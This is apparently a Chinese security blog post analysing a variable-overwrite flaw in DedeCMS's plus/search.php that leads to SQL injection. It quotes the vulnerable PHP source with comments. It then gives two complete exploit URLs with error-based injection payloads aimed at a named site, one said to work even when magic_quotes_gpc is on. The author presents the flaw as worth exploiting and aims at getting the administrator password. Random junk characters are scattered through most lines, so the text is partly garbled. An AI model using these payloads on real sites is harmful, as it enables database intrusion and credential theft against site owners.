微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
. |8 {4 |4 x! g8 U; ]* Y作者: c4rp3nt3r@0x50sec.org
& n2 {* n4 P: ?5 n# m0 _Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
0 I. B. Q0 l, D/ q& v
; ~5 E- F3 t7 Y3 h7 U4 X黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.( p: K0 L' K2 }/ d, L
+ s7 p1 J: t8 Y/ J1 L
============- ~8 v. G# u+ i4 g& b
0 P I( g8 X- e" {8 U; D8 z
0 X2 v+ L* D ?: O hDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
3 y8 h, A$ E8 d8 b8 b ]# D- P) u# u1 Y3 o. O; {! m4 \
require_once(dirname(__FILE__).”/../include/common.inc.php”);
# e: n- B! n/ G& ^8 Arequire_once(DEDEINC.”/arc.searchview.class.php”);
3 z6 m/ h- f( w: o1 P6 u 3 X: P) X6 P3 S- F/ P2 J3 @
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;1 @* H* Z' m+ d+ `
$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
% s, I# Y! e, Z' O$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
* F1 C6 R- {& b; q0 e" h( E$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;. @1 z, p7 ^! h: |3 i c2 n
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;
! e1 e. f2 Q7 u' M( ?
3 l R& x' n3 cif(!isset($orderby)) $orderby=”;3 K% J; _+ f" N. [8 [& j
else $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);- R1 v# H& u) ?& z
2 p+ a, B# t- x* p$ b: T6 r
5 F" k, B1 F4 m$ H) j9 b
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;
4 Q7 X8 e4 ~8 | l, A" k' Telse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);8 z& r5 ?9 H$ ^7 W+ ~ @( ?
: E- d$ G8 e6 p6 t% G' F* gif(!isset($keyword)){
0 [( D6 a% g' w% @& ]; p# p% K7 s if(!isset($q)) $q = ”;' c! v7 f# S& _2 z0 l! d* \
$keyword=$q;( K( l; O& [2 r& r
}
' v+ V ~; H( V2 X& r2 t( K
( V; q1 N( z8 }2 [/ \& [$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));% Z! {' \" \, m( q
# }) g7 x+ U' p( Q- `//查找栏目信息
: x/ S0 ?! _3 |/ ]if(empty($typeid))
7 u! q! |" `4 i9 a# ]) ?{
% F8 Y% A. C* M5 s k" @5 k $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;, X# z) m7 ]+ H
if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )0 F! I5 i$ h# g% o8 F9 B0 X3 h
{! L' q+ x$ _' W0 N0 m; |
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);* ~( u1 G5 r- W( q$ P
fwrite($fp, “<”.”?php\r\n”);( Z( K( p, B: X
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
8 h" A, h q7 z/ a# T6 K $dsql->Execute();7 ]; h& c3 R6 ^' t, @6 u/ T0 s2 n
while($row = $dsql->GetArray()): c; r7 j) t7 z% e( R2 n) K
{* h! M U$ O3 q
fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);1 l/ W' k! w' d$ t. g1 }9 j4 ~
}
; T/ ]7 Z" C* D" I* y( E fwrite($fp, ‘?’.'>’);
3 K; {' m, `; x3 R: a8 V0 a fclose($fp);6 X2 w6 P- f% a1 P
}6 ?$ k8 r: Z7 I4 P
//引入栏目缓存并看关键字是否有相关栏目内容
% n6 h6 G' m% m% v) y require_once($typenameCacheFile);
5 [" v2 k* M. ?( ~0 m//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个2 `) H0 f* W! x. n9 a9 O
//
( ?4 z$ c' o: D" @4 c if(isset($typeArr) && is_array($typeArr)); i$ u; d/ U2 e# g! J
{
z; d& k7 I! ~' u. l: I: V0 v. j' R. H foreach($typeArr as $id=>$typename)
" G6 h* N. ~2 A1 z; @ {) u* W, ~3 @7 k$ @/ h1 h) Q! g& w
$ q7 U' t* W1 i+ z5 b) ^
<font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过% ^' q' K: o- @. D4 w
if($keyword != $keywordn)
+ l: a+ s5 V6 g! h1 |# S2 E: B {
+ b D, S5 F5 e, S3 | $keyword = $keywordn;
7 W, W# s, |! \3 p8 \ <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设# T$ d8 t5 V8 W: r$ }
break;
& v' Q4 n# y; r9 e: h# { } J& v, g# u9 T, C4 {
}
$ X; ]7 t5 Y L* L }
1 _9 |* e/ y, E% H% x/ |}
6 T+ ]) L" Z/ r2 p% m然后plus/search.php文件下面定义了一个 Search类的对象 .
3 h6 K/ M; x9 W: f在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
) F: S0 X. j2 a. p* U" ?$this->TypeLink = new TypeLink($typeid);
) Q8 R t, [" R7 h) g' y7 t9 H- l 2 i! p* Y' A2 l7 W5 a. t
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句./ J- v4 n+ V+ @5 \) M; Y- Z7 n
; H7 z7 B4 k; O3 x: @class TypeLink0 U, Q/ p& [, L4 X" O
{& l' z$ u, Z4 D+ [' \
var $typeDir;+ U& W, L# G/ n4 d4 H# m' Z0 x: ^
var $dsql;8 [( _. K- G$ X. I/ {9 f7 _7 ?7 {+ E
var $TypeID;% A! K# a+ K* O" I
var $baseDir;5 w) ^0 l, R+ z8 C" d6 T; `) G
var $modDir;1 |+ e3 Q- D- N" {3 M
var $indexUrl;. _9 U( |5 M/ V; @' h; V
var $indexName;
* B& j3 {2 D0 m var $TypeInfos;4 ^! d) S7 A0 K
var $SplitSymbol;/ r" W( ?! [- W
var $valuePosition;" Q% F7 B- K$ r; W0 J
var $valuePositionName;! v! r" b$ o, i1 c
var $OptionArrayList;//构造函数///////
0 l, w8 B. X% B9 f1 f: N //php5构造函数
1 l1 u$ Q7 J4 H/ H+ O function __construct($typeid)! e3 P! k' T6 l8 [- F( x
{* _4 @; k* l! L& W" g, t) P+ r
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];3 \, F y8 E4 E! q) a" K( d" v% a
$this->indexName = $GLOBALS['cfg_indexname'];
' q5 t* v: E; G6 a $this->baseDir = $GLOBALS['cfg_basedir'];# ^. O3 E' b( ^6 O6 a; M
$this->modDir = $GLOBALS['cfg_templets_dir'];7 T$ z+ T1 t7 ]" R# c4 n
$this->SplitSymbol = $GLOBALS['cfg_list_symbol'];4 \9 f+ ?) n, l
$this->dsql = $GLOBALS['dsql'];
: r# L2 }8 a$ D( ]3 A4 _ $this->TypeID = $typeid;
. g# n6 r1 e7 _) r$ [' I. Q $this->valuePosition = ”;
; m% P; X' K0 K: @3 z* d" c $this->valuePositionName = ”;# |3 N+ O- f3 b9 T% m
$this->typeDir = ”;% d. Q& S* A/ R/ \: P0 r
$this->OptionArrayList = ”;0 o: ]8 b3 R w2 {. ]
* X2 w, I" c' G8 \; v2 _ //载入类目信息8 }6 q) C& G! Q. ?
, L- J' b: G! K
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
) A; r N: D) m" M6 a# kctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
" m! ?( N. q$ m: G' C+ T2 a# e`#@__channeltype` ch8 n7 j% ], u. G5 v _9 c
on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿5 @3 p1 p- z9 Y( `0 i* }% E6 B
5 n/ A, l( u ?" n( _
if($typeid > 0)9 d9 g$ I+ s0 C# B, w2 e3 x/ ]% t
{7 f Q' q4 T: M( Q- m. _
$this->TypeInfos = $this->dsql->GetOne($query);
% j# ~$ F& F. m$ j% I7 X( d利用代码一 需要 即使magic_quotes_gpc = Off
# {3 j6 B9 ~2 \) t% S- ~2 V # i( l8 o& ]% p+ D
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title" P' C4 V! L. l" }
J- h) x; d" c5 [9 Y, w% f这只是其中一个利用代码… Search 类的构造函数再往下& J, ~* @( W3 g7 R' C- k
) d) M2 F6 g0 o" ~. }
……省略
/ C% `( |8 x8 D& L9 |' z$this->TypeID = $typeid;
6 \2 t8 l+ D. w7 K' V6 }……省略
9 U* B: ]& h: v2 [4 p( ?if($this->TypeID==”0″){* g* T" }6 f( t |3 {
$this->ChannelTypeid=1;% \0 Y# _: E& T- e
}else{0 K8 p6 c& p: f/ O C
$row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲
z; b. c" K5 N) {+ Z//现在不鸡肋了吧亲…
# _) ~7 _7 @$ W $this->ChannelTypeid=$row['channeltype'];. J1 i6 A5 O& x9 q6 W2 U
9 o, @. W2 |1 B" O" ~$ u+ e }# d; `/ [* p6 V/ X
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.& y N1 _9 |7 R) v4 @8 w- m( w+ T4 y+ M
. y, p8 Y ?2 w. x$ T- m
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
j4 x* e* P$ K5 X U( o 2 t( u3 ]: l9 z
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
1 p6 v" G/ p/ d" z. O1 e* c7 M |